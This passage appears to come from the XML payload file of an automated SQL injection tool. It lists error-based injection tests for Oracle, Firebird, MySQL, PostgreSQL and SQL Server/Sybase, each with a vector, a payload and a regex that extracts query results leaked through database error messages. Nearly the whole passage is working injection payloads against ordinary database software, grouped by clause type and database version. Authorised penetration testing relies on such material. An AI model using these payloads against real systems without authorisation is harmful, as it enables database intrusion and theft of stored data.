    <test>
        <title>Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
            <dbms_version>&gt;= 8.1.6</dbms_version>
        </details>
    </test>

    <test>
        <title>Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)</title>
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)</title>
        <stype>2</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Firebird AND error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Firebird</dbms>
        </details>
    </test>

    <test>
        <title>Firebird OR error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Firebird</dbms>
        </details>
    </test>
    <!--
         TODO: if possible, add payload for SQLite, Microsoft Access,
         and SAP MaxDB - no known techniques at this time
    -->
    <!-- End of error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->

    <!-- Error-based tests - LIMIT clause -->
    <test>
        <title>MySQL &gt;= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3,4,5</clause>
        <where>1</where>
        <vector>PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1)</vector>
        <request>
            <payload>PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.1</dbms_version>
        </details>
    </test>
    <!-- End of error-based tests - LIMIT clause -->

    <!-- Error-based tests - Parameter replace -->
    <test>
        <title>MySQL &gt;= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
        <vector>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
            <payload>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
            -->
            <payload>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.5</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.5 error-based - Parameter replace (EXP)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
        <vector>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
        <request>
            <payload>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.5</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
        <vector>JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector>
        <request>
            <payload>JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.7.8</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.0 error-based - Parameter replace (FLOOR)</title>
        <stype>2</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
        <vector>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
            <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
            -->
            <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.1 error-based - Parameter replace (UPDATEXML)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
        <vector>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]))</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
            <payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
            -->
            <payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.1</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.1 error-based - Parameter replace (EXTRACTVALUE)</title>
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
        <vector>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')))</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')))</payload>
            <payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')))</payload>
            -->
            <payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.1</dbms_version>
        </details>
    </test>

    <test>
        <title>PostgreSQL error-based - Parameter replace</title>
        <stype>2</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
        <vector>(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
        <request>
            <payload>(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>PostgreSQL error-based - Parameter replace (GENERATE_SERIES)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>3</where>
        <vector>(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
        <request>
            <payload>(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase error-based - Parameter replace</title>
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>(CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))</vector>
        <request>
            <payload>(CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
        <request>
            <payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>

    <test>
        <title>Oracle error-based - Parameter replace</title>
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
        <request>
            <payload>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Firebird error-based - Parameter replace</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
        <request>
            <payload>(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Firebird</dbms>
        </details>
    </test>
    <!-- End of error-based tests - Parameter replace -->

    <!-- Error-based tests - ORDER BY, GROUP BY clause -->
    <test>
        <title>MySQL &gt;= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)</vector>
        <request>
            <payload>,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.5</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s)</vector>
        <request>
            <payload>,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.5</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x)</vector>
        <request>
            <payload>,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.7.8</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
        <request>
            <payload>,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
        <request>
            <payload>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.1</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])</vector>
        <request>
            <payload>,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.1</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)</vector>
        <request>
            <payload>,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 4.1</dbms_version>
        </details>
    </test>


    <test>
        <title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
        <request>
            <payload>,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>PostgreSQL error-based - ORDER BY, GROUP BY clause (GENERATE_SERIES)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
        <request>
            <payload>,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase error-based - ORDER BY clause</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>3</clause>
        <where>1</where>
        <vector>,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))</vector>
        <request>
            <payload>,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>

    <test>
        <title>Oracle error-based - ORDER BY, GROUP BY clause</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
        <request>
            <payload>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Firebird error-based - ORDER BY clause</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
        <request>
            <payload>,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Firebird</dbms>
        </details>
    </test>
    <!--
         TODO: if possible, add payload for SQLite, Microsoft Access
         and SAP MaxDB - no known techniques at this time
    -->
    <!-- End of error-based tests - ORDER BY, GROUP BY clause -->
</root>